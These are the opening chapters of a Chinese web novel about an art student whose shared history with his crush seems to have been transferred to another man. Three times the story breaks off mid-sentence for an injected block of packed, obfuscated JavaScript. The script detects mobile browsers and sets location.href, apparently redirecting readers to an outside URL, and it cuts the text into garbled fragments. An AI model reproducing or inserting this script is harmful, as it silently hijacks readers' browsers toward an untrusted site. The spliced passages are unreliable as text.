《谁偷走了我的舔狗人生》 1. 放弃 十月初,正午的烈日炎炎,校园里人流熙攘,篮球场上的欢呼声和篮球砸地时的沉闷响声交织在一起,汇成一幅喧嚣而热闹的画卷。 此刻食堂二楼的人不多,只见角落靠窗的位置坐着一个清俊的青年,上半身着一件纯白色衬衫,披散在身后的一头黑发如绸缎一般,整个人看起来简洁又清爽。 美术学院留长发的男生不少,长相如此优越出众的却只有祝惊霜一个。 一阵风吹过,窗外的树叶沙沙作响,祝惊霜微微抬起头,细长的眼尾微微上翘。 前面那桌坐着几个刚打完球的男生,身上还穿着球服,桌上放着几罐可乐。 祝惊霜能隐约听见前面那桌的人在聊天,但他一开始并没有刻意去听他们在说些什么,直到前方的声音突然变大: “什么?祝惊霜真的谈恋爱了?还是谈的男的?” “谈男的我倒是不意外,他看起来就不像直的……” “他之前拒绝别人的时候不是说不管男的女的都不想谈吗?” …… 几个人吵吵闹闹,语气还有些酸溜溜的。 祝惊霜动作一顿,灯光下那张清疏的脸上神色格外冷淡。 他坐的这个位置在角落,又刚好被半透明的挡板挡住了大半身形,前面的人并没有发现他们谈论的人就在身后不远处。 可能是顾及在公共场合,除了前面那声惊叹没有控制住音量之外后面声音明显有压低,但另一个男人语带嘲讽的话还是钻进了祝惊霜的耳朵: “他平时那副性冷淡样,和男朋友亲密的时候能有感觉吗?我还以为他这种人会孤独终老一辈子呢。” 话语里的恶意昭然若揭。 祝惊霜的耳朵动了动。 这声音还挺耳熟。 放在桌上的手机屏幕突然亮起,他垂眸看见备注“男朋友”发来的消息:我下课了。 祝惊霜敛眸低头回复:好。 他和刚交往的男朋友约好了今天中午去外面吃饭,食堂离约好汇合的南门比较近,所以他下课后没回宿舍,而是来食堂坐了一会儿。 回复完后他径直站起身,椅子摩擦地面发出声响,前面那桌的人似有所感地回头,看见自己谈论的人就在身后,脸上的表情顿时非常精彩。 祝惊霜恍若未闻,面无表情地往前走,就好像什么也没听见一样。 他的长相其实是偏清秀漂亮那一挂的,但他身上那种与生俱来的淡然却让他看起来十分冷漠且生人勿近。 晏恒洲——也就是最后说祝惊霜性冷淡的那个人,在看见祝惊霜之后手臂上的肌肉瞬间紧绷。 祝惊霜怎么会在这里?他听见自己刚刚说的话了吗?应该听见了吧,不然怎么会这个表情。 不过祝惊霜平时也是那样淡漠又高傲,根本看不出有没有生气。 想到此,祝惊霜经过他身边,若有若无的香气无声飘过,晏恒洲盯着他雪白的侧颜,心里忍不住打鼓。 他是不是生气了?但自己也没说他什么啊。 晏恒洲心慌了好几秒,转念又想,他生不生气和我有什么关系,生气了才好。 刚想到这,祝惊霜突然停下脚步,转过头朝他勾唇一笑:“晏恒洲。” 一向面色如霜的美人此刻冰雪融化般绽放出如春水和煦的笑容,美艳漂亮到惊心动魄的地步,一瞬间仿佛世间万物都沦为了陪衬。 晏恒洲顿时浑身一激灵,心口像是有什么酥酥麻麻的东西缠绕上来,一种名为期待的情绪不自觉在心里发酵。 看他那副傻样,祝惊霜似笑非笑地吐出几个冰冷的字:“比起管我是不是性冷淡,你还是先管好你自己吧。” 语气意味深长,仿佛意有所指,祝惊霜脸上的笑容昙花一现般转瞬即逝,说完话的下一秒就又恢复了一贯的冷若冰霜。 其实一般情况下他不会理会不认识的人或善意或恶意的谈论,但晏恒洲不同。 认识那么多年,祝惊霜对晏恒洲的性格再清楚不过,越不理他他越来劲,今天如果自己不吭声对方背地里还不知道会怎么样造谣。 说起来,他和晏恒洲也算彼此半个竹马,尽管现在关系非常恶劣。 从小学被老师安排做同桌开始,晏恒洲就处处都要和他争和他比,可惜永远都差上一点,还得了个“万年老二”的称号。 但晏恒洲依然不死心,甚至放弃了自己本来想去的学校,选择了和祝惊霜同一所大学同一个专业。 不知道是不是孽缘,同专业那么多人,他们偏偏被分到了同一间宿舍。 此时的祝惊霜眉眼沉静而平稳,身姿挺拔,显得很有气势,晏恒洲那么多年都低他一头,几乎是下意识心口一颤,抖了抖唇,没能说出话来。 两个人的恩恩怨怨周围那圈人无不知晓,见平日里狂妄自大的晏恒洲难得吃瘪顿时没憋住发出哄笑。 晏恒洲回过神来,脸色一阵红一阵白一阵紫,简直堪比调色盘。 祝惊霜还什么都没说他就已经被吓成这样,怎么想都很丢脸。 他想和祝惊霜说些什么却不知道怎么开口,最后只能先恼羞成怒地转头质问身旁的人:“你们笑什么?有什么好笑的?” 转移目标发了一通火之后晏恒洲才想起要怼回去,但祝惊霜早就头也不回地走了,他转回来时只看见祝惊霜离开的背影。 …… 顶着大太阳走到南门门口时,祝惊霜的额头上已经布满了细密的汗水,被汗浸湿的刘海粘在脑门上,衬得面容更加雪白。 一个高大帅气的男人等在保安亭旁边的位置,棱角分明的脸上没有过多表情,周身散发着生人勿近的气场,看见来人双眼一亮,眉眼瞬间缓和下来。 “那么大太阳怎么不打伞?”赵牧铭心疼地用手背贴了贴祝惊霜的额头。 祝惊霜有些不习惯他这样亲近的触碰,下意识侧了一点头,想到对方现在是自己的男朋友又强行克制住躲开的冲动,秀气的眉微微蹙起,声音依旧平静冷淡:“没带伞。” 赵牧铭撑开伞,亦步亦趋地跟在他身后,语气里带着点讨好:“下次我下了课直接去你们宿舍楼找你吧。” 祝惊霜不置可否:“都行。” 这是正式恋爱之后他们第一次一起吃饭,赵牧铭很看重这次约会,精心挑选了一家鲜花主题的餐厅。 餐厅离学校不远,走路十分钟就到了,中西合璧的装修风格很受年轻人欢迎,哪怕工作日也人满为患。 餐厅里面整体氛围偏暗,明明灭灭的灯火映照出祝惊霜素白而沉静的面容。 耳边是喧闹的嘈杂声,显得这一桌格外寂静。 祝惊霜没有谈过恋爱,并不知道如何和恋人相处,只是保持一贯的冷淡,赵牧铭则是因为紧张。 祝惊霜今年大三,赵牧铭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403476|184372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是是小他一届的学弟。 对于两个人的初见祝惊霜并没有什么印象,他对陌生人一向不上心。 他只知道对方大一入学后没多久就对他展开了热烈的追求,一开始他并没有当一回事——毕竟他的追求者实在是太多了。 可对方太过执着,整整两年,每天风雨无阻,无论祝惊霜怎样冷言冷语都无法逼退对方的热情。 真正让祝惊霜开始动容的却不是对方的执着,而是无数算得上凑巧的共同经历。 真正确认自己同样对对方有好感是在不久前,他养了很多年的小猫不见了,他找了很久都没有找到。 最后是赵牧铭找到的,尽管结果并不如意。 其实祝惊霜的心里已经有了预感,但他还是不肯相信。 有的猫咪在感知到自己快要离世时会主动离开家,找一个隐蔽的地方离去。 最后祝惊霜擦干眼泪,在赵牧铭的陪伴下将小猫安葬在自家的后花园里。 在那之后祝惊霜对赵牧铭的态度明显好了很多,两个人的关系也越来越近。 但在昨天晚上,他们爆发了有史以来最激烈的争吵,赵牧铭没有和往常一样立刻低头,而是不依不饶地追问。 祝惊霜也是第一次没有控制住情绪说了那么重的话,在对上对方不可置信的眼神时他才发觉自己这一次好像有一点过分。 祝惊霜其实也不清楚自己对对方的感情到底如何,可能是有一点好感的,因为过去他从不会在乎追求者是否伤心。 说不清是喜欢还是愧疚,在昨晚不欢而散后,今天早晨对方和过去每一天一样对他表白时,他同意了。 两个人都没有主动提起昨晚的争执,气氛一片祥和。 点餐时赵牧铭问祝惊霜想不想吃海鲜,祝惊霜有些诧异:“你不是对海鲜过敏吗?” 他没注意到赵牧铭的表情微不可见地僵硬了一瞬,下一秒又恢复了笑容满面:“……我想着点了你能吃,我看你吃就好。” “不用了。”祝惊霜好像更加困惑了:“我不爱吃海鲜。” 赵牧铭一向对他的口味了如指掌,今天这样实在是有些奇怪。 而赵牧铭脸上的笑容几乎要维持不住了,他扯了扯嘴角:“这样啊。” 之后他点了几道大菜还有甜点,全都是祝惊霜平常爱吃的口味。 祝惊霜也就只以为对方刚刚是一时忘了,没想太多。 …… 另一边,万则越还不知道自己即将遭遇什么样的打击。 昨晚和祝惊霜不欢而散后,他躺在床上盯着天花板一夜未眠,满脑子都是昨晚的画面。 夜深人静,万则越闭着眼,恍惚间祝惊霜冷漠到极致的话语仍在耳畔回响,心脏仿佛被攥成一团。 从他开始追求祝惊霜,已经过去了足足两年。 两年时间一晃而过,过程中再多艰辛都不曾让他止步,可就在他以为好不容易要守得云开见月明时,祝惊霜只用一句话就将他打回原形。 他不怕拒绝,可他害怕祝惊霜的眼里永远没有他。 就好像他的一切努力仿佛都不值一提,他整个人也无法在祝惊霜心里留下任何痕迹。 这是万则越第一次喜欢一个人。 不知何时外面一声惊雷炸响,他闭着眼睛翻了个身,与此同时一个念头在脑海中浮过。 要不……放弃吧。 2. 错位 半梦半醒间,万则越仿佛又嗅到了祝惊霜身上的味道,清新淡雅,让他想起山间的白山茶。 从初遇起,他总在祝惊霜身上嗅到这清香。 在追求祝惊霜的这两年来,他每天风雨无阻去给祝惊霜送饭送花送礼物,想尽了一切办法假装偶遇,托尽了一切关系去牵桥搭线。 对于他无孔不入的热情追求,祝惊霜也从一开始的礼貌拒绝到后面的视而不见,再到骂他滚把礼物砸他脸上。 万则越顺风顺水惯了,无数次碰壁和拒绝不仅没有打击到他的自信心反而让他越挫越勇。 他向来不可一世,又是十八九岁的年纪,冲动自信,觉得没有什么是自己无法得到的。 这一次,他也等到了那个机会。 关系改善的转折点在几周前,祝惊霜的小猫不见了,万则越忙前忙后跑了好几天才终于找到了。 尽管找到时已经奄奄一息,无力回天。 那天之后祝惊霜对他的态度就好了起来,会回他的消息,见面也会打招呼,却依然没有收下过他的礼物。 直到上周,祝惊霜外出写生时又一次“偶遇”了万则越,这也是他第一次没有再拒绝。 虽然极有可能是因为这一次万则越送来的东西祝惊霜刚好需要,而时间比较赶他没办法回学校拿。 但万则越仍然觉得这是非常大的进步,觉得这是胜利的曙光。 这可是两年来祝惊霜第一次收下他的东西。 争吵爆发的那个晚上,他们约好一起去山顶看流星雨。 发出邀请时万则越并没有奢望对方会同意,虽然他们之间的关系已经有了极大改善,甚至算得上朋友,但以他们现在的关系两个人单独去看流星雨还是多少有点暧昧。 令他意外的是,祝惊霜没有任何犹豫就点头同意了。 万则越欣喜若狂,决定在看流星雨时再一次正式表白。 可他最后也没能将表白成功进行。 一开始还是好好的,傍晚的风如薄纱般轻柔,黄昏下祝惊霜仰头望着绚烂的天空,绸缎般的长发在余晖下反射出雾蒙蒙的柔光。 万则越坐在一旁,不由得看痴了。 察觉到他的目光,祝惊霜回眸看他,眼神在朦胧的天幕下竟显出几分罕见的温柔。 万则越定了定神:“你前几天那个比赛是不是又得奖了,恭喜你。” 祝惊霜不置可否:“小比赛而已,参与的人基本都拿奖了。” “那怎么能一样,你可是一等奖,一共才几个人。”万则越的眼神牢牢黏在面前人身上,眼睛很亮,很为他骄傲的模样,边说着话边不由自主越靠越近。 祝惊霜望着天空眉头都没皱一下,仿若一种无声的默认。 一切都恰到好处。 万则越回想着今天的点点滴滴,越想越觉得这次成功的希望很大。 秋天的天黑的晚,万则越回到帐篷里最后检查了一遍今晚的布置,又捧着一小束花出去,想先试探一下祝惊霜的态度。 出去的时候,他却意外发现就这么一小会儿时间,祝惊霜竟然就这样坐着睡着了。 万则越想到前段时间祝惊霜一直在准备比赛,没日没夜画了好几天,现在估计是实在撑不住了。 他下意识放轻脚步,走上前低头注视着那张近距离看也没有一丝瑕疵的面容,忽然发现祝惊霜的睫毛很长,又细又密。 拿着花束的手背到身后,他没舍得叫醒祝惊霜,只情不自禁地低头凑近。 万则越并非是想做什么,只是总想离祝惊霜近一点,更近一点。 因为常年绘画,祝惊霜的身上其实会带着一点若有若无的颜料气味,不浓也不刺鼻,算不上好闻,和他身上自带的清香混合在一起,却形成一种独特的,令人心醉神迷的味道。 万则越不知道这是不是自己的幻觉。 微微飘动的发丝冰冰凉凉滑过他的脸,他最后还是没忍住,轻轻吻了一下对方的额头。 祝惊霜睡得不熟,几乎是立刻就有了反应,却还是有些迷迷糊糊,睁开了一半的眼眸模糊而依赖,下意识轻声唤了句:“哥哥。” 那一瞬间的心惊无法描述,万则越仿佛被迎面打了一拳,原本剧烈跳动的心立刻就落了下去,带来隐秘的沉痛。 他知道祝惊霜喊的不是他,他比祝惊霜小,而且祝惊霜眼里的依恋绝不会是对他。 在他面前的祝惊霜总是冷淡疏离,拒人于千里之外,好像世间万物都入不了他的眼,万则越偏偏就被他的高傲吸引。 万则越是第一次知道,原来祝惊霜也会对一个人露出那样柔软的神色。 他知道祝惊霜是家里的独生子,那么这声“哥哥”喊的会是谁? 以他对祝惊霜的关注程度,怎么会出现这样一个自己一无所知的人? 这是万则越十几年来第一次对一个人有好感,也是他第一次知道原来也有事情是自己无论如何努力都无法做到的。 再年少气盛自信满满,依旧无法抵挡此刻失落的心情。 万则越感到从未有过的挫败。 后来的他一直在想,如果再给他一次重来的机会,他一定会等冷静之后再去问,不会非要在这时候纠缠着要个答案。 但现在的他还不知道。 梦的最后是祝惊霜在短暂的迷糊后迅速清醒过来,冷着脸看他,语气冰凉:“你在干什么?” 下一秒万则越从睡梦中惊醒,心口依然残存着心悸。 后面发生的事情他不愿意回忆,却很难当做什么都没发生。 还没等到流星雨降临他们就爆发了剧烈的争吵,不欢而散后他在回家的路上走的太急,被飞速开过的电瓶车擦了一下手臂,伤口不深,可他躺在床上却觉得全身都疼。 夜最黑的时候,万则越想,这次我真的不会再追他了,他对我真的完全不在乎。 …… 祝惊霜晚上有课,没和赵牧铭在外面待太久。 分别的时候赵牧铭很舍不得,似乎还有些别的顾虑,一直抱着祝惊霜,却不敢做什么,只能蹭蹭他的肩颈。 祝惊霜觉得他今天格外离不开人,不是很熟练地轻轻拍了拍他的背以做安抚:“好了,我们可以明天再出去。” 赵牧铭的动作顿了顿,嘴角拉成一条线:“你忘了吗,我明天满课。” 祝惊霜难得愣了一下,还没等他说话,赵牧铭又自己哄好了自己,继续抱着他闷声道:“罚你周末去美术馆时带上我,我可以给你提东西。” 今天祝惊霜无意间提到自己周末和朋友约好去美术馆,赵牧铭当时没多说什么,结果一直记在心里。 说话时赵牧铭几乎将祝惊霜整个人禁锢在怀中,高壮的身躯把面前人衬托得格外清瘦,好像对方不同意他就不撒手一般。 祝惊霜推了一下没推开,无奈地轻笑一声,语气却不容置疑:“我和朋友已经提前约好了,带你去不合适。” 赵牧铭沉默几秒还是松手了,眼神很沉。 悦耳的电话铃声突然响起,是《小幸运》: ——“原来你是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403477|184372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我最想留住的幸运……” 祝惊霜垂眸,发现是和他约好周末去美术馆的那个朋友打来的电话。 说是朋友其实也不尽然,因为他和贺栩樾的关系比朋友更亲密——他们是竹马竹马一起长大的。 祝惊霜的父母在他小的时候忙于工作在外奔波,贺栩樾家里也差不多。 或许一切都是命中注定,年幼的祝惊霜无意间在阳台看见隔壁阳台飞来的纸飞机,从此他便有了第一个同龄玩伴。 “双双。”电话那头传来略带磁性的年轻男声:“你今晚是在宿舍住,还是回来睡?” 从幼儿园开始,祝惊霜便一直和贺栩樾在同一个班,每天形影不离。 直到上大学,他们去了同一所学校不同的专业,祝惊霜选了从小到大一直在学的美术,贺栩樾对艺术类专业一窍不通,最后选择了自己擅长的体育。 不同的专业所在的宿舍楼离得很远,自从认识以来他们从未长时间分别过,贺栩樾便鼓动祝惊霜和自己在学校附近租一间小公寓一起住。 所以有很多时候,祝惊霜都会在校外租的房子里住,只有期末周或者第二天有早课的情况下他才会回宿舍过夜。 祝惊霜只犹豫了一秒便想好了答案,简洁道:“我今晚回宿舍。” 电话那头贺栩樾明显有些失望,却没有问太多,只回了个“好”。 因为离得近,电话内容赵牧铭全都听得一清二楚,他看着祝惊霜雪白的侧脸,不阴不阳地跟着唤了一句:“双双。” 祝惊霜不轻不重地睨他一眼:“你不乐意你也可以这么喊。” “我才不要。”赵牧铭被他看得没忍住又凑上前:“我是你男朋友,和别人才不一样,我要是独一无二的称呼。” 他刻意强调“别人”,想要以此来衬托自己的特殊。 祝惊霜笑了笑没说话。 其实以他和贺栩樾的关系,其他人才算得上是“别人”。 但赵牧铭想自欺欺人,他也不会去打断对方的美梦。 …… 迷迷糊糊睡了不知道多久,刺眼的阳光将万则越从睡梦中唤醒,他低头看了眼时间,发现早就过了平时给祝惊霜送早餐的时辰,一下子就慌了。 他早就把自己睡前下定决心要放弃的事情忘了,新的一天,他又觉得也不是什么大事了。 万则越还没想好要发什么就和每个早晨一样下意识点开和祝惊霜的聊天页面,下一秒却发现他和祝惊霜的聊天记录不翼而飞,瞬间大惊失色。 他和祝惊霜的聊天记录非常多,虽然大部分都是他在说,祝惊霜只偶尔回一个句号或者一个滚。 但是这依然是他和祝惊霜之间宝贵的回忆,祝惊霜回他最长的那段话他甚至截了图当聊天背景。 这时候万则越虽然茫然,但也只以为是手机出了问题。 直到他点开朋友圈,看见了祝惊霜官宣的那条朋友圈。 评论区全是共友的祝福,几乎全是同校的同学在说恭喜赵学弟追了两年终于抱得美人归。 万则越整个人都混乱了。 追了祝惊霜两年的不是他吗?这是怎么回事? 花了一个小时,分别找了十几个人打听,万则越终于得到了一个十分匪夷所思让他天崩地裂的答案,也是唯一能解释清目前所有情况的答案。 那就是他和祝惊霜之间的所有回忆和过往在所有人眼里都变成了祝惊霜和另外一个人的。 也就是祝惊霜这个突然冒出来的男朋友——计算机专业的赵牧铭。 3. 尾随 “……反正就是这样,现在所有人都觉得和祝惊霜在一起的是别人!” 万则越说的口干舌燥,越说越气,一口气差点没喘过来,赶紧拿起水杯一饮而尽。 电话那头的关杨听完后沉默了很久都没说话,万则越“咕咚咕咚”喝完水,不满地喊道:“喂?怎么没声了?信号不好?” 关杨是他的发小,他们从小就是好兄弟,大学的时候对方去了其他城市。 “在听在听。”关杨欲言又止。 他是知道万则越入学后对一个学长一见钟情无法自拔的,但他不在这座城市,并没有真正见过祝惊霜,也并不理解自己兄弟为什么追人追的如此疯魔。 今天更是一大早就打电话来诉苦,言之凿凿说自己和祝惊霜的记忆被人偷了。 一开始关杨还没听懂,好不容易才捋清对方想表达的意思,只觉得万则越脑子有问题,但是不敢直说,只能继续敷衍:“哦哦,嗯嗯,啊啊。” 万则越敏锐地皱起眉:“你是不是不信?” 关杨聪明地没有接话茬,而是道:“但你不是说你已经准备放弃了吗?那对方有没有和别人在一起也无所谓了吧?” “……” 这一次沉默的变成了万则越。 关杨却越说越来劲:“不会吧?你所谓的放弃不会只是嘴上说说而已吧?” 这次万则越没再沉默,他几乎是有些气急败坏地开口:“吵什么?你懂什么?我有我自己的节奏。” …… 祝惊霜今天遇到了一个很奇怪的学弟。 上完上午的专业课后祝惊霜按照习惯和舍友一起去南门吃午饭,走到半路时舍友忽然凑到他耳边用气声道:“后面那个人好像一直跟着我们。” 祝惊霜往后瞥了一眼,是很陌生的面孔,淡淡道:“可能只是顺路。” 方宸撇了撇嘴,没有反驳,继续刚刚的话题:“我还是觉得晏恒洲昨晚就是因为你在宿舍才留宿的,他每次都这样。” 祝惊霜和朋友在校外一起租了房子,平时不常在宿舍住。 得知和祝惊霜分到一个宿舍后,晏恒洲也在校外租了房子,所以很多时候他们两个都不在宿舍里。 按理来说晏恒洲在校外租房就是为了不和祝惊霜住在同一个屋檐下,但是奇怪的是基本上每一次祝惊霜留宿他都会跟着留下来。 晏恒洲从来没有掩饰过对祝惊霜的态度,所以周围人基本都知道他和祝惊霜不对付。 祝惊霜和除了晏恒洲之外的几个舍友关系都不错,其中又数方宸关系最好——方宸和他是高中同学,对他和晏恒洲的恩怨也更清楚。 “你不在的时候各种打听你去哪了,见你留下来又拉着一张脸。”方宸骂骂咧咧道:“谁强迫他留下来了?昨晚他东西掉了你好心帮他捡,他还一副你欠他八百万的样子。” 他冷笑一声:“装货。” 祝惊霜嘴角抽了抽,眉眼轻轻弯起来:“不管他。” 微风吹起他如流墨般的长发,午后的阳光从头顶的树叶缝隙里洒落,显得他眉眼更加鲜明。 一路走进饭店,方宸再一次靠在祝惊霜肩膀上用气声道:“后面那个人还是跟着我们。” 这次祝惊霜也发现了,后面那个男人确实从在学校里就一直跟在他们后面。 不管中途怎么绕弯男人都始终保持着不远不近的距离跟着他们,不至于被立刻察觉,又不会轻易跟丢。 而在他们走进饭店后,那个男人也毫不犹豫地跟着走进来在他们身后的位置落座。 本来的犹疑也在听见对方紧跟在祝惊霜后面点了一模一样的菜时变得肯定,想到祝惊霜那数不尽的追求者,方宸忍不住笑着打趣道:“不会又是你的桃花债吧。” 祝惊霜不冷不热地瞟他一眼,没有理会他的调侃,回想了一下刚刚无意中往后看的那眼。 男人戴着口罩,看不清面孔,身材很壮实,戴着一顶深绿色的鸭舌帽,应该是他们的学弟。 正在这时,男人突然站起身,径直走到他们身旁。 方宸下意识缩了缩脖子,以为自己刚刚说的话被对方听到了。 结果男人看都没有看他一眼,目光直直地钉在祝惊霜的脸上,声音在口罩里又沉又闷:“祝惊霜。” 他只这样喊了一声,随后就摘下口罩,好像充满渴望般望着祝惊霜乌黑的眼瞳。 祝惊霜纤长的睫毛抖动一下,抬眸看向他的脸庞。 非常陌生的一张脸,年轻俊朗,朝气蓬勃,却无端给他一种说不清的熟悉感。 祝惊霜的记忆力向来算不错,但他不管怎么回想都对这个人没有任何印象。 万则越从他的态度里明白了什么,最后一丝希望破灭,脸色瞬间变得苍白,眼神里的光也黯淡了。 祝惊霜真的不认得他了。 那张素白冷冽的面容上是和初见时别无二致的陌生和疏离,万则越却能记起曾经在上面浮现过的一切绚丽色彩。 那本该是属于他的私藏,现在却被别人偷走。 祝惊霜实在是记不起自己和面前这个男人有过什么交集,便只是放下筷子,礼貌询问:“有什么事吗?” 万则越张了张嘴,好不容易才找回自己的声音,每个字都像是从嗓子里挤出来一般:“你不记得我了吗?” 他的神色太过惶恐,浑身上下都被浓烈的情绪笼罩着,这样激烈的感情让祝惊霜有些不自觉地蹙起眉。 最后他只是垂下眼帘,神色淡漠:“你可能认错人了。” 坐在一旁看戏的方宸没忍住“噗嗤”一声,在对上祝惊霜移过来的漆黑眼眸时心虚地摆了摆手。 他是真的觉得好笑,祝惊霜长相优越到出众的地步,是绝对不会有人把他认错成其他人的。 祝惊霜对自己的美貌也有认知,这么说纯粹是不想和面前人继续废话下去。 已经不止一次围观祝惊霜拒绝追求者,但每一次碰见方宸依然会觉得好玩。 万则越没有看他,就像周围没有人一样,目光从始至终都钉在祝惊霜的脸上,他无措地不住摇头,张口却又不知道还能说什么。 他对关杨可以直接说,因为他只是想诉苦,对方信不信无所谓。 但祝惊霜不一样。 他知道祝惊霜不会信的,说不定还会把他当成神经病,从此离他远远的。 万则越无法承受这个后果。 正僵持着,祝惊霜这桌点的菜上来了。 一瞬间香气扑鼻,刚出炉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403478|184372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫花鸡表皮金黄酥脆,还伴随着鲜嫩多汁的焦香。 这家店的叫花鸡做的很好,鸡肉酥烂无渣,香气诱人,就是叫花鸡的个头太小,方宸一般将此称之为未成年小鸡。 但因为好吃,所以这道菜依然很受欢迎,他们来的时候店里还有很多空位,现在已经人满为患。 祝惊霜拿起筷子低下头,意思是准备吃饭了,暗示面前人离开。 万则越却并不识趣,或者说不想识趣。 他的目光一落到祝惊霜脸上就有些挪不开了,明明不过一天没见,却恍若隔世。 那一晚的争吵犹在耳畔,他和祝惊霜共同经历的一切仿佛镜花水月,而如今镜子碎了,梦也醒了。 只有他一个人记得的梦。 “……祝惊霜。”最后万则越开口:“你同意和……谈恋爱,是不是因为前天晚上的事情?” 他还是没办法说起祝惊霜谈恋爱时加上另一个男人的名字,光是提起他就觉得口中苦涩,妒火中烧。 那明明是属于他的身份。 祝惊霜猛地抬起头,视线充满寒意。 万则越被他目光中明晃晃的戒备和敌意刺了一下,强撑镇定坚持问道:“……是吗?” 祝惊霜蹙眉看了他一会儿,漆黑的眼底在暖灯下映出一点光,璀璨如星辰,开口的声音平稳如常:“你怎么知道那天晚上发生了什么?” 没有得到答案万则越也不失落,在面前人面若冰霜的注视下呼吸都有些急促:“因为我就在现场。” 祝惊霜回忆了一下那天晚上,他很确定一开始上山的时候是没有其他人在的,但后面的争吵太过混乱,他也没来得及关注周围有没有其他人经过。 思及此,祝惊霜对万则越的身份也有了猜测,多半是那天经过目睹争吵的路人,可能在此前对他心存好感,所以今天不甘心地来找自己询问。 万则越不知道祝惊霜误会了,就算知道也无法解释。 他没敢说太多,在祝惊霜防备的态度下只觉得喉中干涩,没再多说几句就离开了。 如果他直接把真相告诉祝惊霜,祝惊霜不仅不会相信还会把他当做神经病从此对他避而远之,他只能采用迂回一点的办法先暗示几次再做打算。 其实有一点万则越还不太清楚,那就是那个偷了自己身份的人到底有没有自己的记忆? 那个人虽然改变了除了自己以外所有人的记忆,让祝惊霜和自己发生过的一切在大家眼里变成和那个人一起经历的,但那个人却不一定有经历那些事情的记忆。 万则越觉得应该是没有的,完全容纳另一个人的记忆很难,也很容易把两段同一时间线发生的不同事情混淆。 无数过往历历在目,他始终牢牢记得和祝惊霜相关的一切。 如果没有这些记忆的话,那那个人在祝惊霜面前迟早会露馅。 想着想着,原本绝望的心情又逐渐回暖,万则越无意识地掏出手机点开熟悉的对话框,往日里满满当当的聊天屏幕此刻空空如也。 他暂时还没办法得知那个偷窃自己和祝惊霜经历的人是怎么做到的,但他是不会这样轻易放弃祝惊霜的,也没办法放弃。 从他看见祝惊霜的第一眼起,他这辈子就注定无法抽身。 4. 裙子(一更) 南方的十月空气依然滚烫,炙热的阳光笼罩大地,让人不用触碰都能想象出地面的温度。 不过回宿舍短短几步路,祝惊霜就出了一身汗,几缕黑发汗湿贴在脸颊边,眼尾都有轻微的湿润泛红。 一路上祝惊霜都在想刚刚遇到的那个奇怪的学弟。 说奇怪是因为对方的态度,祝惊霜的追求者不少,类似的跟踪也不是没有过,但这还是第一次遇到他都还没说什么,尾随者就如此委屈的情况。 哪怕对方再色厉内荏,也掩盖不住满眼的委屈。 按照祝惊霜的性格本不该如此在意,但不知为何,在分别后他脑海中却一直回放着刚刚自己准备离开时对方下意识牵住自己衣角,又在下一秒慌乱撒开手匆忙道歉的画面。 方宸的感慨打断了他的回想:“你男朋友对你那么放心?我要是你男朋友肯定一天24小时都跟着你,这才多久就有人搭讪。” 思绪中断,祝惊霜顺着对方的话想起赵牧铭恋爱以来好像确实是寸步不离黏着自己,好像生怕自己跑了一样。 只是今天赵牧铭满课,所以难得没有跟在他身边。 想到这,祝惊霜的唇角勾出一丝若有若无的笑。 …… 对于和万则越的这次见面,祝惊霜虽然本能觉得不太对劲,却也没有继续深究。 不过他没想到,那么快他就见到了万则越第二次。 天气反复无常,上午还是阳光明媚,傍晚时随着天空一声惊雷炸响,豆大的雨滴倾盆而下。 顷刻间世间万物都被笼在雨里,远方的景色也变得模糊不清。 下午最后一节课结束,祝惊霜没带伞,正靠在综合楼架空层的柱子上,漆黑的眼瞳在望向外面的雨幕时倒映出纯净的流光。 手机上是新上任不久的男友赵牧铭发来的消息,关心他现在情况和询问他的位置,看起来是想要过来接他。 对比之下祝惊霜的回复就显得很冷淡,只有一句“不用,有人来接”。 赵牧铭安静了几秒,问他是谁。 答案也不出他所料,是和祝惊霜一起长大的竹马,贺栩樾。 因为雨下的太过突然,有很多人都没有带伞,架空层挤满了躲雨的人。 一片喧哗声中,祝惊霜听见有人在叫自己的名字。 “祝惊霜!” 他知道不是贺栩樾,贺栩樾很少叫他的大名,而且他和贺栩樾如此熟悉,不会听不出对方的声音,可在抬头时心跳还是漏了一拍。 看清对方的脸后,他的心情又恢复了平静。 是万则越。 “祝惊霜。”万则越跑到他的身边,喘着粗气,把手里的东西一股脑递过去:“给你伞,还有一次性雨衣。” 他看着祝惊霜,闷的满头大汗,看起来就像是知道祝惊霜今天有课,已经在这等了许久:“你要去哪里?我送你。” 祝惊霜疑惑了一秒。 他们似乎还没有那么熟悉。 对方是好意,祝惊霜礼貌回答道:“谢谢,但不用了,有人来接我。” 万则越的拳头蓦然握紧,声音瞬间变冷:“你在等谁?你男朋友吗?” “不是。”祝惊霜皱了皱眉。 